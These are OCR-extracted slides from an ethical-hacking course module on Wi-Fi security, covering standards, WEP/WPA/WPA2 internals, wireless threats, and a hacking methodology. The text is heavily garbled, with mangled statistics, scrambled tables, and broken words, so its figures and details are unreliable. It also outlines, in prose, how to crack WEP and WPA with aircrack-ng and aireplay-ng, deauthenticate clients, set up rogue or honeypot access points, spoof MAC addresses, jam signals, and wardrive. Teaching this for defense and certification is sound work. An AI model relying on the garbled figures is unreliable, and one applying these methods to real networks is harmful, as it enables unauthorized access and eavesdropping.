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Are You Protected from
Hackers on Public Wi-Fi?

In what way have people accessed sensitive
data when using free public Wi-Fi?

e 260/0 checked a bank account
0 4
39% ofus public e 19% paid a bill
Wi-Fi users have accessed
sansitive information
while using it

e 3‘% sent email with sensitive data such as a
social security number

e 6 u/ﬂ filed taxes

What potential issues with using
66% of public Wi-Fi do people recognize?

U.S adults 8@ 88% identity theft cocQ?C

have used
public
Wi-Fi

e 760/0 compromised accounts O g .

e 3901"0 fraudulent tax filing

-ﬁ %
d httpfwww. socimimediotoday.com
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Globally, 46 percent of total mobile data
traffic was offloaded onto the fixed network
through Wi-Fi

By 2018, 40 percent of enterprises will specify
Wi-Fi as the default connection for non mobile
devices, such as desktops, desk phones,
projectors, conference room.

http:/fwww_cisco.com, http://fwww_gartner.com
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Wireless Terminologies

GSM

Universal system used for mobile
transportation for wireless network
worldwide

Bandwidth

Describes the amount of information that
may be broadcasted over a connection

BSSID

The MAC address of an access point that has
set up a Basic Service Set (BSS)

ISM band

A set of frequency for the international

Industrial, Scientific, and Medical
communities

Access Point

Used to connect wireless devices to a wireless
network

Hotspot

Places where wireless network is available for
public use

Association

The process of connecting a wireless device to
an access point

Orthogonal Frequency-division
Multiplexing (OFDM)

Method of encoding digital data on multiple
carrier frequencies

Direct-sequence Spread Spectrum
(DSSS)

Original data signal is multiplied with a pseudo
random noise spreading code
Frequency-hopping Spread Spectrum
(FHSS)

Method of transmitting radio signals by rapidly

switching a carrier among many frequency
channels
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Wireless Networks [10a

Wi-Fi refers to wireless local area networks (WLAN) based on IEEE 802.11 standard

It is a widely used technology for wireless communication across a radio channel

Devices such as a personal computer, video-game console, smartphone, etc. use Wi-Fi to
connect to a network resource such as the Internet via a wireless network access point

Advantages

Installation is fast and easy and eliminates
wiring through walls and ceilings

It is easier to provide connectivity in areas
where it is difficult to lay cable

Access to the network can be from anywhere
within range of an access point

Public places like airports, libraries, schools or
even coffee shops offer you constant Internet
connections using Wireless LAN

Disadvantages

Security is a big issue and may not meet
expectations

As the number of computers on the network
increases, the bandwidth suffers

Wi-Fi enhancements can require new wireless
cards and/or access points

Some electronic equipment can interfere with
the Wi-Fi networks
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Wi-Fi Networks at Home and

Public Places

J  Wi-Fi networks at home allow you to be

wherever you want with your laptop, iPad,

or handheld device, and not have to make
holes for or hide Ethernet cables

Wi-Fi at Home

4d  You can find free/paid Wi-Fi access
available in coffee shops, shopping malls,
bookstores, offices, airport terminals,
schools, hotels, and other public places

e __snlibol

*;?ﬁ* -

Wi-Fi at Public Places
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Wireless Technology Statistics C|EH
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Why Wireless Technology Matters?
More than half of
all open Wi-Fi networks
are susceptible to
abuse

There will be more

than 7 billion new
Wi-Fi enabled devices
in the next 3 years

90% of all A Wi-Fi attack on By 2017, 60% of 71% of all mobile
smartphones are an open network carrier network communications flows

equipped with can take less than traffic will be over Wi-Fi

Wi-Fi capabilities 2 seconds offloaded to Wi-Fi

hitp:fwnawe huffingtonpost.com
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Wireless Standards

e i e ]|

802.11a OFDM 25 —¥5

802.11b 2.4 DSSS 11 150 - 150
802.11g 2.4 OFDM, DSSS 54 150 — 150
802.11i Defines WPA2-Enterprise/WPA2-Personal for Wi-Fi

802.11n 24,5 OFDM 54 ~100

802.16

10 - 66 J0—=1000 30 mil
(WiMAX) miles

Bluetooth 2.4 ) E 25
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Service Set Identifier (SSID) M

SSID is a token to identify a 802,11 (Wi-Fi)
netwaork; by default it is the part of the
frame header sent over a wireless local
area network (WLAN)

It acts as a single shared identifier
between the access points and clients

Access points continuously broadcasts
SSID, if enabled, for the client machines
to identify the presence of wireless
network

SSID is a human-readable text string
with a maximum length of 32 bytes

05

07

08

If SSID of the network is changed,
reconfiguration of the S5ID on every host
is required, as every user of the network
configures the SSID into their system

A non-secure access mode allows clients
to connect to the access point using the

configured SSID, a blank SSID, or an SSID
configured as “any”

Security concerns arise when the default
values are not changed, as these units
can be compromised

The SSID remains secret only on the
closed networks with no activity, that is
inconvenient to the legitimate users
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Client attempting
to connect

Client attempting ..,

to connect

Probe Request

..‘;1}..............................................}

Probe Response [Security Parameters)

Open System Authentication Request
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Open System Authentication Response AR Y T | p Rt £ A

ennannan ..-.-......................-..\:1}.. po—

Association Request (Security Parameters) Switch or Cable \wJ
'\E}' k ' **® Access Point (AP) Modem

Association Response Internet

Open System Authentication Process
Authentication request sent to AP
!Ilw.!IIIIIIIIIIIIII-IIIIIIIII!Il!l!!l!ll'!ll!l'l}

AP sends challenge text

LR LA R LA RLRRRRIRRTRERRERRERERRNERRNERERS 2 L1}
Client encrypts challenge ﬁ
text and sends it back to AP
lil‘@.illlllllhllIllllllllllhlIllllillllllllllllllb p—— T ~
AP decrypts challenge text, and if m_—........pq.qn [ SR —
P

ct, authenticates client S ————

{IIIIIIIIIIEPE[EI:IHIIIIh--i---l--l.'..'.q'-.| 4 imm g ‘-_ .
27 Access Point (aP)  SWitch or Cable . a

Client connects to network Modem

@l u---n-rn"-nn-n-"-uuu-n-ruu-n-”} |nternet
Shared Key Authentication Process
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Wi-Fi Authentication Process Using
a Centralized Authentication Server

RADIUS
Server

Forward the identity to the

EAP-Response with identity }5- RADIUS server using the uncontrolled port » -

*  Sends a request to the wireless client via the AP :
» specifying the authentication mechanism to be used e -
II‘IIIIIIIIIIIIIIIIIIIIIIIIIIII'IIIIIIIIllrlllllllllll] I.

The wireless client responds to the
RADIUS server with its credentials via the AP

Sends an encrypted authentication
key to the AP if the credentials are acceptable
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Wi-Fi Chalking

WarWalking

WarChalking

WarFlying

WarDriving

HaCkRhInO-TeaM

YOuR SeCuiTy iS NOt EnOUgh
wE FrEE t0 FIY

HaCkRhInO-TeaM

CEH

Cortiffed § Evhlesl Hachar

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.

/dé kript/ by HaCkRhInO-TeaM

HaCkRhInO-TeaM




Wi-Fi Chalking Symbols (|EH

Cortified § Erhical Macker

Wi-Fi with MAC

&l Filtering

Wi-Fi with Multiple
Access Controls

Wi-Fi with WEP Wi-Fi with Closed 55ID Wi-Fi Honeypot
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Types of Wireless Antennas

Directional Antenna

- Ulsed "fc: broadcast and obtain radio waves from a single
direction
e Unidirectional

L. } Antenna |
Omnidirectional Antenna

It provides a 360 degree horizontal radiation pattern. It is
used in wireless base stations.

Parabolic Grid Antenna

It is based on the principle of a satellite dish but it does not
have a solid backing. They can pick up Wi-Fi signals ten
miles or more.

Yagi Antenna

Yagi is a unidirectional antenna commaonly
Omnidirectio

used in communications for a frequency
nal Antenna

band of 10 MHz to VHF and UHF

Dipole Antenna

Bidirectional antenna, used to support client
connections rather than site-to-site
applications
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. Parabolic Grid Antenna

Parabolic grid antennas enable attackers to get better signal Grid parabolic
antennas can pick

quality resulting in more data to eavesdrop on, more up Wi-Fi signals
bandwidth to abuse and higher power output that is from a distance
essential in Layer 1 DoS and man-in-the-middle attacks of ten miles

Q SSID Channel Encryption Authentication Signal |

Apple 2 MNone Unknown 24%
e S My WiFi WEP Unknown 40%
G5M WEP Unknown 64%

Wi-Fi Planet MNone Unknown

Awslocal Nong Unknown
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Types of Wireless Encryption (C|EH

WPA2

WPA2 Enterprise

It integrates EAP standards
with WPA2 encryption

WPA2 uses AES (128 bit) and CCMP for

wireless data encryption

EAP

Supports multiple
authentication methods,
such as token cards,

Kerberos, certificates etc.

RADIUS

It is a centralized authenti-
cation and authorization
management system

WEP

2 WEP is an encryption
algorithm for IEEE 802.11
wireless networks
It is an old and original

wireless security
standard which can be
cracked easily

Cortified § Erhical Macker

AES

It is a symmetric-key

encn,rptmn used in WPAE as

TKIP

A security protocol used in
'WPA as a replacement for
WEP

CCMP

CCMP utilizes 128-bit keys,
with a 48-bit initialization
vector (IV) for replay
detection

=)

WPA

It is an advanced wireless
encryption protocol
using TKIP, MIC, and AES
encryption

Uses a 48 bit IV, 32 bit
CRC and TKIP encryption
for wireless security

Itis a proprietary WLAN
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. WEP Encryption

What is WEP?

& WEP uses a 24-bit initialization

& Wired Equivalent Privacy (WEP) is an IEEE 802.11 wireless vector (IV) to form stream cipher
protocol which provides security algorithms for data RC4 for confidentiality, and the

confidentiality during wireless transmissions CRC-32 checksum for integrity
of wireless transmission

. 64-bit WEP uses a 40-bit key
WEP encryption

can be easily 128-bit WEP uses a 104-bit key size
cracked

256-bit WEP uses 232-bit key size

It was developed without:
It has significant

= Academic or public review vulnerabhilities and design

= Review from cryptologists : flaws

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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CRC-32 checksum is used to calwlﬁtﬂn ] A 24-bit arbitrary number known as Initialization
bit Integrity Check Value (ICV) for the dat "~ Vector (IV) is added to WEP key; WEP key and IV
which, in turn, is added to the data frame 1Y are together called as WEP seed

The WEP seed is used as the input to RC4 algorithm ,
to generate a key stream (key stream is bit-wise The IV field (IV+PAD+KID) is added to the

XORed with the combination of data and ICV to ciphertext to generate a MAC frame
produce the encrypted data)

+  WEP-encrypted Packet (Frame body of
MAC Frame)

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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What is WPA?

J Wi-Fi Protected Access (WPA) is a data encryption method for WLANs
based on 802.11 standards

A Itis a snapshot of 802.11i (under development) providing stronger
encryption, and enabling PSK or EAP authentication

TKIP (Temporal
Key Integrity
Protocol)

128-bit ) WPA Enhances

o

Temporal Key

TKIP utilizes the RC4 stream Under TKIP, the client starts with TKIP enhances WEP by adding a
cipher encryption with 128-bit a 128-bit "temporal key" (TK) rekeying mechanism to provide
keys and 64-bit MIC integrity that is then combined with the fresh encryption and integrity
check client's MAC address and with an keys

o - IV to create a keystream that is
TKIP mitigated vulnerability by used to encrypt data via the RC4 Temporal keys are changed for

increasing the size of the IV and every 10,000 packets. This

using mixing functions It implements a sequence makes TKIP protected networks
counter to protect against replay more resistant to cryptanalytic
attacks attacks involving key reuse
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. How WPA Works

=]

Temporal encryption key, transmit address, and
TKIP sequence counter (T5C) is used as input to
RC4 algorithm to generate a Keystream

MAC Service Data Unit (MSDU) and message
integrity check (MIC) are combined using Michael
algorithm

The combination of MSDU and MIC is fragmented
to generate MAC Protocal Data Unit (MPDU)

@ A 32-bit Integrity Check Value (ICV) is
calculated for the MPDU

The combination of MPDU and ICV is bitwise
XORed with Keystream to produce the
encrypted data

The IV is added to the encrypted data to
generate MAC frame

[xata to Transmit

Ciphertaxk

+  Packet to transmit
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Temporal Keys

- ,PMKissent to the AP but is not directed to the Wi-Fi client as it has
aéﬁwﬂm“u mpynfﬂ-sePMK

AP sends an ANence to client which
uses it to construct the Pairwise Clierit

Transient Key (PTK
Access Point Enterprise Network

Client respond with its own nonce-value
{SNonce) to the AP together with a
Message Integrity Code (MIC)

AP sends the GTK and a sequence

number together with another MIC

which is used in the next broadcast SNonce (MIC)
frames

Ready to use MIC, GTK 9

Client confirm that the temporal keys
W areinstalled 9 OK, use
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] Wha

is WPA2?

- WPA2 provides enterprise and Wi-Fi users with stronger data protection and

network access control

- Provides government grade security by implementing the National Institute of

I WPA2-
\ Personal

WPA2-Personal uses a set-up password (Pre-
shared Key, PSK) to protect unauthorized
network access

In PSK mode each wireless network device
encrypts the network traffic using a 128-bit key
that is derived from a passphrase of 8 to 63
ASCII characters

Standards and Technology (NIST) FIPS 140-2 compliant AES encryption algorithm

WFAZ-
\ Enterp rise;

It includes EAP or RADIUS for centralized client
authentication using multiple authentication
methods, such as token cards, Kerberos,
certificates etc.

Users are assigned login credentials by a
centralized server which they must present
when connecting to the network

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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How WPA2 Works

in the CCMP implementation of

WPA2, MAC header data is used e T
to build additional

authentication data (AAD)

A sequenced packet number
(PN) is used to build nonce

AAD, temporal key and nonce
along with CCMP are used for
data encryption

A 'WPA2 MAC Frame is build using
MAcheader’CCMPheader' R S L S B A
encrypted data and encrypted MIC WPA2 MAC Frame

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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WEP vs. WPA vs. WPA2

Encryption Attributes

Encryption Encryption Key Integrity Check
Algorithm Length Mechanism
24-bits 40/104-bit CRC-32

Michael algorithm

RC4, TKIP 438-bit 128-bit and CRC-32

AES-CCMP 48-bit 128-bit CBC-MAC

Should be replaced with more secure WPA and WPA2

m @I Incorporates protection against forgery and replay attacks
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The IV is a 24-bit field is too small and is sent in the
cleartext portion of a message

Identical key streams are produced with the reuse of the
same |V for data protection, as the IV is short key streams
are repeated within short time

Lack of centralized key management makes it difficult

to change the WEP keys with any regularity

When there is IV Collision, it becomes possible to
reconstruct the RC4 keystream based on the IV and the
decrypted payload of the packet

IV is a part of the RC4 encryption key, leads to a analytical
attack that recovers the key after intercepting and analyzing
a relatively small amount of traffic

Use of RC4 was designed to be a ene-time cipher and
not intended for multiple message use

No defined method for encryption key distribution

Wireless adapters from the same vendor may all
generate the same IV sequence. This enables attackers
to determine the key stream and decrypt the ciphertext

Associate and disassociate messages are not
authenticated

WEP does not provide cryptographic integrity protection. By
capturing two packets an attacker can flip a bit in the encrypted
stream and modify the checksum so that the packet is accepted

WEP is based on a password, prone to password
cracking attacks

An attacker can construct a decryption table of the
reconstructed key stream and can use it to decrypt the
WEP Packets in real-time
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Weak Initialization Vectors (IV) C|EH

Cortified § Erhical Macker

In the RC4 algorithm, the Key Those weak IVs reveal information
Scheduling Algorithm (KSA) creates about the key bytes they were
an |V based on the base key derived from

The IV value is too short and not
protected from reuse and no
protection again message replay

No effective detection of message
tampering (message integrity)

A flaw in the WEP implementation
of RC4 allows “weak” IVs to be
generated

An attacker will collect enough weak
IVs to reveal bytes of the base key

The way the keystream is constructed It directly uses the master key and
from the IV makes it susceptible to has no built-in provision to update
weak key attacks (FMS attack) the keys

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.




How to Break WEP Encryption ( EH
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Test the injection i [ Start Wi-Fisniffingtool ! Run a cracking tool such
capability of the such as airodump-ngor as Cain & Abel or :
wireless device to the . Cain & Abel with a bssid . aircrack-ng to extract
access point filter to collect unique encryption key from the

: S

e

Start the wireless . Use a tool such as . Start a Wi-Fi packet
interface in monitor aireplay-ng to do a fake encryption tool such as
mode on the specific . authentication withthe : :  aireplay-ng in ARP
access point channel access point request replay mode to

: © L inject packets
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How to Break WPA Encryption

WPA PSK - Offline Attack

[ ]

= WHPA PSK uses a user defined password = You only have to be near the AP for a

to initialize the TKIP, which is not matter of seconds in order to capture the
crackable as it is a per-packet key but WPA/WPA2 authentication handshake,
the keys can be brute-forced by capturing the right type of

using dictionary attacks packets, you can crack WPA

u - keys offline {_’{;j'

[J3 De-authentication Attack 04 Brute-Force WPA Keys

2 Force the connected client to disconnect, @ You can use tools such as aircrack,
then capture the re-connect and aireplay, KisMac to brute-force WPA
authentication packet using tools such as Keys
aireplay, you should be able to re-
authenticate in a few seconds then

attempt to Dictionary Brute Force the | Q i
PMK -
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How to Defend Against WPA
Cracking

Passphrases Passphrase Complexity

@ The only way to crack WPA is to sniff @ Select a random passphrase that is not
the password PMK associated with the made up of dictionary words
“handshake” authentication process, € Select a complex passphrase of a
and if this password is extremely minimum of 20 characters in length

complicated, it will be almost ~ and change it at regular intervals
impossible to crack

Client Settings Additional Controls

Use WPA2 with AES/CCMP € Use virtual-private-network (VPN)
encryption only technology such as Remote Access VPN,

Properly set the client settings (e.g. Extranet VPN, Intranet VPN, etc.
validate the server, specify server @ Implement a Network Access Control

address, don’t prompt for new servers, (NAC) or Network Access Protection
etc.) (NAP) solution for additional control over

end-user connectivity
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Wireless Threats: Access Control ClEH
Attacks

Wireless access control attacks aims to penetrate a network by evading WLAN access
control measures, such as AP MAC filters and Wi-Fi port access controls

1 War Driving 2 Rogue Access Points

3 MAC Spoofing 4 AP Misconfiguration

5 Ad Hoc Associations 6 Promiscuous Client

7 Client Mis-association 8 Unauthorized Association
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Wireless Threats: Integrity
Attacks

In integrity attacks, attackers send forged control, management or data frames over a wireless
network to misdirect the wireless devices in order to perform another type of attack (e.g., DoS)

Data Replay

Initialization Vector

WEP Injection
Replay Attacks

Bit-Flipping Attacks o RADIUS Replay

Wireless Network

Extensible AP Re )
Viruses
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Wireless Threats: Confidentiality
Attacks

These attacks attempt to intercept confidential information sent over wireless associations,
whether sent in the clear text or encrypted by Wi-Fi protocols

" Eavesdropping Honeypot Access Point v'

Traffic Analysis Session Hijacking AV’

———

Cracking WEP Key Masquerading ’

Evil Twin AP Man-in-the-Middle Attack
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Wireless Threats: Availability ClEH
Attacks b

Denial-of-Service attacks aim to prevent legitimate users from accessing resources in a
wireless network

"‘ Availability Attacks

Access Point Denial-of- Authenticate
Theft Service Flood

Disassociation De-authenticate ARP Cache
Attacks Flood Poisoning Attack

Power Saving

EAP-Fail Routing Attack
ailure uting Attacks ol

Beacon Flood N TKIP MIC Exploit
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Wireless Threats: Authentication
Attacks

The objective of authentication attacks is to steal the identity of Wi-Fi clients, their personal information,
login credentials, etc. to gain unauthorized access to network resources

LEAP Cracking

VPN Login Cracking Password Speculation

Domain Login Cracking Application Login Theft
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Rogue Access Point Attack

User Connecting =
to Rogue Access '-_
Point =
&

L ]
pr— -
o p— -

" *

My SSIDis %

( juesyboy ) ~
\\(i:b‘nnecttﬂ me (’l |
ﬂﬁ-‘#nhhhh - IIIIIIIIII

ERREE .. EEERR
NEREE s BERRR
L R
SAESER LG L CERERE

Attacker ’

HaCkRhInO-TeaM

o

Rogue wireless access
point placed into an
802.11 network can
be used to hijack the
connections of
legitimate network
users

HaCkRhInO-TeaM

SSID: juggyboy
Wi-Fi Channel: &

(2

When the user turns
on the computer,
the rogue wireless
access point will
offer to connect
with the netweork
user’s NIC

(3]

All the traffic the
user enters will
pass through the
rogue access point,
thus enabling a
form of wireless
packet sniffing
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. Client Mis-association

Control Room

Storage

Client Mis-association
Air Traffic Controller SSID: juggyboy

Here is the
Atcess:P.{_!int

d  Attacker sets up a rogue access point outside the
corporate perimeter and lures the employees of ,@
the organization to connect with it

Attacker.in the

2 Once associated, employees may bypass the j_}
enterprise security policies I
Neighboring Network
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Misconfigured Access Point

Access Point Misconfigured

SSID: juggyboy
Wi-Fi password not configured

Connecting

to juggyboy
Mo password,

SSID broadcasting is a
Lucky Me!

Access points are configuration error that
: users, network S
configured to B assists intruders to
administrators
broadcast S51Ds to steal an 551D and have

incorrectly use the

: the AP assume they are

authorized users SSIDs as passwords ¥
allowed to connect

To verify authorized
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Unauthorized Association

Wi-Fi User-1

User infected with Wi-Fi enabling Trojan

Accounting
Department

Stock Holding 1

Production House

01

Soft access points are
client cards or embedded
WLAN radios in some
PDAs and laptops that can
be launched inadvertently
or through a virus
program

02

Attackers infect victim's
machine and activate soft
APs allowing them
unauthorized connection
to the enterprise network

Attacker connect to
enterprise network
through soft APs
instead of the actual
Access Points

Attacker
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Adi—loébom@é ction Iltt C "E H

I.ﬂ'-l.'fllrtrhul Ethlesl Hadkar

Hotel Wi-Fi Network

Data Processing
Room

(Lo L= :
] [] - i (]

,égif User Enabled Wi-Fi

Wi—Fi clients Ad hoc mode is Thus attackers can

communicate directly | inherently insecure easily connect to and

via an ad hoc mode and does not provide compromise the

that do not require an | strong authentication enterprise client

AP to relay packets . and encryption operating in ad hoc
mode
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HoneySpot Access Point Attack

b -
""a._ SSI0 Verizon 551D &rbucks Coffee .:-JSSiD at&t

o~
s

. wverizon
vodafone

i'm lovin' it

Attacker traps victims by using fake hotspots
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vf-rlrlu Ethlesl Hachar

& Hacker spoofs the MAC address of WLAN client
equipment to mask as an authorized client

& Attacker connects to AP as an authorized client
and eavesdrop on sensitive information

FIIIIIIIIIIIIIIIIIIIIIIIIII:
| §
Only computer

from production
department can

Production
Department

"r- & p artment = fo. | connect to me

NI NN EE NN NN NN RN EEENESEEI RN RN

Attacker
: -{“npyrigh: © by EC-Councll. All Ri F‘htbﬂ '541n.rm1. Fh pmdULtIDn Is Strictly Prnl'nh ited.
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Denial-of-Service Attack

Data Warehouse

Manager's
Room

Decision

Wireless DoS attacks

disrupt network wireless
connections by sending

broadcast “de—

authenticate” commands 02

Transmitted
deauthentication forces
the clients to disconnect

Attacker from the AP
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An attacker stakes out the area from a
nearby location with a high gain amplifier
drowning out the legitimate access point

Users simply can't get through to log in or
they are knocked off their connections by
the overpowering nearby signal

$ )

f

Attacker

L

Attacker
sending 2.4 GHz
jamming signals

EEEEEEEEEEEEE

All wireless networks are prone to jamming,

This jamming signal causes a Do5 because
b - 802.11 is a CSMA/CA protocol, whose collision
avoidance algorithms require a period of silence

Jamming before a radio is allowed to transmit

Device
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amming Devices

MGT- P6 GPS Jammer MGT- MP200 Jammer MGT- 03 Jammer

"

I
o |

Range : 10~ 20 meters
4 antennas

3G: 2110~ 2170MHz
Wi-Fi / Bluetooth: 2400
~ 2485MHz

MGT- P6 Wi-Fi Jammer

HaCkRhInO-TeaM

Range : 10 ~ 20 meters
iDen - COMA - G5M: 350~
S60MHz

DCS - PCS:- 1805~
1590MHz

3G:2110~ 2170MHz
Wi-Fi [ Bluetooth: 2400 ~
2485MHz

4 antennas

Range: 50 - 75m
Barrage + DDS
sWweep jamming
20 to 2500 MHz.
Omni-directional
antennas

MGT- P3x13 Jammer

Range : 50~ 200 meters
3 frequency bands
jammed:

- G5M: 325 ~ 960 Mhz

- DCE: 1805 ~ 1830 Mhz
-3G: 2110~ 2170 Mhz

Range - 0™ 40 meters
4 antennas

Jammed:

- CDMA: 869 ~ 254 MHz
- G5M: 525 ~ 360 MHz

- CS: 1805 1830 MHz
-3G:2110~ 2170 MHz

MGT- 04 WiFi Jammer

Range : 0 ~ 80 meters

4 Frequency bands
jammed:

- G5M: 525 ~ 960 Mhz

- DCS: 1805 ~ 15380 Mhz
-36: 2110~ 2170 Mhz

- WiFi [ Bluetooth: 2400 ~
2485 MHz

4 antennas

http://www.magnumtelecom.com
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IModule Flow

' - . i Y~
Wireless ' Wireless : ;
QQQ[‘} Concepts Encryption m Wireless Threats

===l Wireless Hacking Wireless Hacking Bluetooth
& & %| Methodology *  Tools Hacking

Wireless Security
Countermeasures :

S\ g o ; Tools Wi-Fi Pen Testing
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Wireless Hacking Methodology M

The objective of the wireless hacking methodology is to compromise a Wi-Fi network
in order to gain unauthorized access to network resources

Wi-Fi Discovery 2 ' GPS Mapping

Wireless Traffic Launch Wireless
Analysis Attacks

Crack Wi-Fi ~ ) Compromise the
Encryption - Wi-Fi Network
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Footprint the Wireless Network

Attacking a wireless network begins with discovering and footprinting the wireless network

in an active or passive way

An attacker can use the passive way to detect
the existence of an AP by sniffing the packets
from the airwaves, which will reveal the AP,
SSID and attacker's wireless devices that are
live

Attacker sends

a probe request

AP sends probe
response

Attacker sniffs
Wi-Fi traffic

In this method, attacker’s wireless device sends
out a probe request with the SSID to see if an AP
responds. If the wireless device does not have
the SSID in the beginning, it will send the probe
request with an empty SSID

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.




Find Wi-Fi Networks to Attack

1. The first task an attacker will go through when searching for Wi-Fi
targets is checking the potential networks that are in range to

" : : find the best one to attack
_ _ 2. Drive around with Wi-Fi enabled laptop installed with a

wireless discovery tool and map out active wireless networks

You will need these -/

to discover Wi-Fi networks

External Wi- Network
Fi Antenna Discovery
Programs

m Tools Used: inSSIDer, NetSurveyor, NetStumbler, Vistumbler, etc.
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Wi-Fi Discovery Tools: inSSIDer
and NetSurveyor

inSSiDer NetSurveyor

~ Inspect WLAN and surrounding networks to — NetSurveyor is a network discovery

troubleshoot competing access points tool used to gather information
about nearby wireless access

points in real time and displays
it in useful ways

I'——E

| B P v Pt | Tl Bmasd e L E

- Track the strength of received signal in dBm
over time and filter access points in an easy-
to-use format

http/fwww. inssider.com http:/fnutsaboutnets.com
Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.




Wi-Fi Discovery Tools:
Vistumbler and NetStumbler

Vistumbler NetStumbler

Finds wireless access points Facilitates detection of Wireless LANs using the

Uses the Vista command 'netsh wlan show SOL-110; 802 12n; and BOC. A WiE N Slancisde

networks mode=bssid' to get wireless information It is commonly used for wardriving, verifying
network configurations, finding locations with

It rts for GPS and live G le Earth tracki .
s ki St e poor coverage in one’s WLAN, etc.

b= 4y e i a0
s AU T

[ FiEEaEs a'n"l:_i*'i'i'i'i T

Y

N

S L1l YIIT LR

hﬂp;ﬁ_)mm. v.l'stum-!':ll'er.net
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. Wi-Fi Discovery Tools

WirelessMon 4 WiFinder

http:/fwna passmark.com http:/ /v pgmsoft.com

Kismet -4 Wellenreiter
http:/ v kismetwireless.net : http:/fwellenreiter.sourceforge.net

WiFi Hopper I AirCheck Wi-Fi Tester

http:/Swane wifihapper.com i H http:Sfannwe flukenetworks. com

Wavestumbler - AirRadar 2
http:/fwaaw cqure.net == httpeSfwnwe koingosw. com

iStumbler = Xirrus Wi-Fi Inspector
http:/fwana istumbler.net 1 | http: A xirmus.com
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Mobile-based Wi-F1i Discovery
Tools

WiFiFgfum

s Ba WiFiFoFum - _ : Network

i 49172 WiFi Signal Info
Sneanisions " Scanner

W 2 AN

PAR
mas

I A
L8

TR
O D G i

Horme network .
Corectedl, 30.0.0.11 | ! : = WiFi y . OPEHSiEHEI

Manager - ot i .-...: Maps

20 networks
nearty

http:/kmansaft.cam http .'_e‘}"opensignaf.cc:n;
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Wireless Hacking Methodology M

The objective of the wireless hacking methodology is to compromise a Wi-Fi network
in order to gain unauthorized access to network resources

Wi-Fi Discovery e GPS Mapping

Wireless Traffic Launch Wireless
Analysis Attacks

Crack Wi-Fi ~ ) Compromise the
Encryption - Wi-Fi Network
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GPS Mapping

Attackers create map of discovered Wi-Fi networks and create
a database with statistics collected by Wi-Fi discovery tools
such as Netsurveyor, NetStumblers, etc.

- GPSis used to track the location of the discovered Wi-Fi
networks and the coordinates are uploaded to sites like WIGLE

. Attackers can share this information with the hacking community
or sell it to make money

Discovery of Wi-Fi Post the GPS

Attack
- networks locations to WIGLE
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. GPS Mapping Tool: WiGLE

Jd WIGLE consclidates
location and
information of wireless
networks world-wide to
a central database, and
provides user-friendly
Java, Windows, and web
applications that can
map, query and update
the database via the
web

You can add a wireless
network to WiGLE from
a stumble file or by
hand and add remarks
to an existing network

B vy Wirnlay

e N

s U

W nbearg
W Edrmg Prat Fils iy
- !

“STtibats Sy
':H_%.@_:_._.;.”E’E
o'

- -

1

STTRE TP SLL T S A (- Ry S N—

Copyright © by FR-GoIMEN &1 Rights Reserved Repradictinn is Steictly Prohihited

Shgmnng

(5 e | Fe ) FE B0 -
BN

0 Wtie . gy

* c

Homg | g,

Search

g

S13%ians 1 smg,

Resulty

g 100 of fng

Lol s

SR F-'i‘"..n-; o =
g s | Dpsg

ey

Bl Dvast

#
E || B B
gl & g
E | 8 || &
(.8 || B
= |l..KF |l 8

|
I
|

| ‘B

Bz | FE
HHHH

|

| &

B

(€8 ¥ | Ee (ER /¥ |
B2

23

)

| I
n :’un.rln (1.

.__-i_-.—;—-

iy |




GPS Mapping Tool: Skyhook

J Skyhook’s Wi-Fi Positioning System (WPS) determines location based on Skyhook's
massive worldwide database of known Wi-Fi access points

http-/fwww _skyhookwireless.com
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. Wi-Fi Hotspot Finder: Wi-Fi Finder

Wi Gleial Wk b

13 Frea (A Pay
Fired & mop hotspots with JiWwimre's Wh=-F Finder for iPhone

Liaf wiew

JiWire is a Wi-Fi hotspot
location directory with
more than 890,058 free
and paid Wi-Fi hotspots
in 145 countries
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Wi-Fi Hotspot Finder:WeFi (C|EH

Cortified § Erhical Macker

> Nobwork | 1] My Profile

e.g 10 Marke! siree! San Francsco

The
i limglon
L8 ¥

w  Feport 5 map smo

Send us Feedback
http://www.wefi.com
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How to Discover Wi-Fi Network
Using Wardriving

Register with WIGLE and download map packs of your area
to view the plotted access points on a geographic map

Connect the antenna, GPS device to the laptop via a USB
serial adapter and board on a car

Install and launch NetStumbler and WIGLE client software
and turn on the GPS device

Drive the car at speeds of 35 mph or below (At higher

speeds, Wi-Fi antenna will not be able to detect Wi-Fi spots)

Capture and save the NetStumbler log files which contains
GPS coordinates of the access points

Upload this log file to WIGLE, which will then automatically
plot the points onto a map
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Wireless Hacking Methodology M

The objective of the wireless hacking methodology is to compromise a Wi-Fi network
in order to gain unauthorized access to network resources

Wi-Fi Discovery 2 | GPS Mapping

Wireless Traffic Launch Wireless
Analysis Attacks

Crack Wi-Fi ~ ) Compromise the
Encryption - Wi-Fi Network
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Wireless Traffic Analysis

Identify
Vulnerabilities

J  Wireless traffic analysis
enables attackers to
identify vulnerabilities
and susceptible victims
in a target wireless
network

This helps in
determining the
appropriate strategy for
a successful attack

Wi-Fi protocols are
unique at Layer 2, and
traffic over the air is not
serialized which makes
easy to sniff and analyze
wireless packets

Wi-Fi
Reconnaissance

Attackers analyze a
wireless network to
determine:

2 Broadcasted SSID

2 Presence of multiple
access points

Possibility of recovering
SSIDs

Authentication method
used

WLAN encryption
algorithms

4

Tools

Wi-Fi packet-capture

and analysis products
come in a number of

forms:

st
-

=1
-

Wireshark/Pilot Tool
OmniPeek Tool

CommView Tool

AirMagnet Wi-Fi
Analyzer
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Wireless Cards and Chipsets

Choosing the right Wi-Fi card is very important since tools like Aircrack-ng,
KisMAC only works with selected wireless chipsets

Decide if you simply want

to listen to wireless Determine the
network traffic or to both ‘ Visit http:/ fmadwifi- l drivers required for

listen to and inject
packets. PCMCIA or USB

project.org/wiki/Compatibility, your chipset and your
¥ site for compatibility operating system

Determine
Learn - Verify the
Determine the fy the drivers

chipset of the chipset and patches

requirements of a wireless Wi-Fi card capabilities ;
A required

Determine
your Wi-Fi the capabilities

Who is the card : Determine what features
marilzifaﬂurer, VErsion, the chipset provides for
revision, model etc. the particular operating
Identify the chipset s'.rftem ARk A b
used in the card using
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Wi-Fi USB Dongle: AirPcap M

